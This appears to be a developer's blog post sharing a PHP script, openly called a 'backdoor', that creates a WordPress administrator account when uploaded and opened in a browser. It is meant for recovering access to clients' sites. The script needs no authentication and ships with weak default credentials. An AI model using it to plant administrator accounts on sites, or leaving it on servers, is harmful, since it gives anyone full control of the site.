I have created this script to allow me to quickly login to clients wordpress installs after they have royally messed things up. For example, some clients have changed their admin password and dont know which email account they have used, so this script allows me to quickly create a new user, login and reset their details without having to muck about with mysql etc.
NOTE: to use this script you do actually need to have access to the web server and upload the file to their site and then execute it through the browser.
Instructions
================================
1. create a new file called some_file_name.php
2. copy the code below into it
3. change the settings if you need to
4. execute the script via your browser at www.some_domain.com/some_file_name.php
5. delete the file after the admin user has been created <—probably a good idea.
<?php /* Created by: craig@123marbella.com 16/03/2014 Name of script: Create WordPress Admin User Description: This script will create an admin user in wordpress Usage: Create a new file in the root of the hosting account and drop this code into it then execute the script through the browser. Note: ALWAYS delete this file from the server after use. Not tested on WPMU! */ ################################################### //settings - change them if necessary ################################################### //this will be the path to the wordpress install relative to the root of the site //EG: if you have installed wordpress inside of a sub directory enter the name of the directory below. //if wordpress is installed in the root, then leave the field empty $wordpress_folder = ""; //preferred username $username = "tempuser"; //preferred password $password = "temppass"; //preferred email address $email = 'email@domain.com'; ################################################### //no need to change anything after here ################################################### //check if there is a wordpress folder defined if(!empty($wordpress_folder)) { $path_to_wp_load = $wordpress_folder .'/wp-load.php'; } else { $path_to_wp_load = 'wp-load.php'; } echo '====================<br>'; echo 'Craigs Backdoor WordPress Admin User Script<br>'; echo '====================<br>'; //first lets check if we can locate the wp-load.php file echo 'checking for wp-load.php at '. $path_to_wp_load ; echo '<br>'; if (!file_exists($path_to_wp_load)) { echo "ERROR! wp-load.php does not exist!"; echo '<br>'; exit; } echo $path_to_wp_load . ' EXISTS!'; echo '<br>'; //by now we should be plain sailing so go ahead and create the user //execute the function to create the admin user create_wp_admin_user($username, $password, $email, $path_to_wp_load); function create_wp_admin_user($username, $password, $email, $path_to_wp_load) { //link this script into wordpress include($path_to_wp_load); if (!username_exists($username)) { $user_id = wp_create_user($username, $password, $email); $user = new WP_User($user_id); $user->set_role('administrator'); echo 'user '.$username.' created! - dont forget to delete this file!!!!'; echo '<br>'; } else { echo 'ERROR! - ' . $username . ' already exists!'; echo '<br>'; exit; } } add_action('init','create_wp_admin_user'); echo '<br>'; echo '<-- end of script'; exit;